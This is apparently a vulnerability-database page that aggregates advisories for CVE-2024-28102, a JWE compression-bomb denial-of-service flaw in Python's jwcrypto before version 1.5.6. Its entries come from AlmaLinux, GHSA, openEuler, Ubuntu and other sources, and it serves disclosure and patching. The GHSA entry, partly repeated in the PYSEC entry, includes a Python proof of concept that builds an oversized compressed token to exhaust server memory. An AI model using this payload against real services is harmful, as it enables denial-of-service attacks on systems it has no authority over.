Most recent entries from all

ALSA-2024:2559 — Moderate: python-jwcrypto security update

Affected: AlmaLinux:9: python3-jwcrypto

The python-jwcrypto package provides Python implementations of the JSON Web Key (JWK), JSON Web Signature (JWS), JSON Web Encryption (JWE), and JSON Web Token (JWT) JOSE (JSON Object Signing and Encryption) standards.

Security Fix(es):

* python-jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

bdu:2024-01978

certfr-2024-avi-0366 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre el…

certfr-2024-avi-0366

EUVD-2026-162056

fkie_cve-2024-28102

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.

GHSA-j857-7rvv-vj97 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

Affected: PyPI: jwcrypto

## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public()))

payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(com…

gsd-2024-28102

OESA-2024-2443 — python-jwcrypto security update

Affected: openEuler:22.03-LTS-SP1: python-jwcrypto

Implements JWK, JWS, JWE specifications with python-cryptography Security Fix(es): VUL-0: CVE-2022-3102: python-jwcrypto: jwcrypto token substitution can lead to authentication bypass(CVE-2022-3102) JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)

openSUSE-SU-2024:13798-1 — python310-jwcrypto-1.5.6-2.1 on GA media

python310-jwcrypto-1.5.6-2.1 on GA media

PYSEC-2026-1484 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

Affected: PyPI: jwcrypto

## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

RHSA-2024:3267 — Red Hat Security Advisory: idm:DL1 and idm:client security update

JWCrypto: denail of service Via specifically crafted JWE python-jwcrypto: malicious JWE token can cause denial of service

UBUNTU-CVE-2024-28102

Affected: Ubuntu:16.04:LTS: python-jwcrypto, Ubuntu:18.04:LTS: python-jwcrypto, Ubuntu:20.04:LTS: python-jwcrypto, Ubuntu:22.04:LTS: python-jwcrypto, Ubuntu:24.04:LTS: python-jwcrypto, Ubuntu:25.10: python-jwcrypto, Ubuntu:26.04:LTS: python-jwcrypto

WID-SEC-W-2024-1003 — Red Hat Enterprise Linux: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um einen Denial-of-Service-Zustand herbeizuführen, beliebigen Code auszuführen, vertrauliche Informationen offenzulegen, Dateien zu manipulieren, Cross-Site Scripting (XSS)-Angriffe durchzuführen oder einen Men-in-the-Middle-Angriff auszuführen.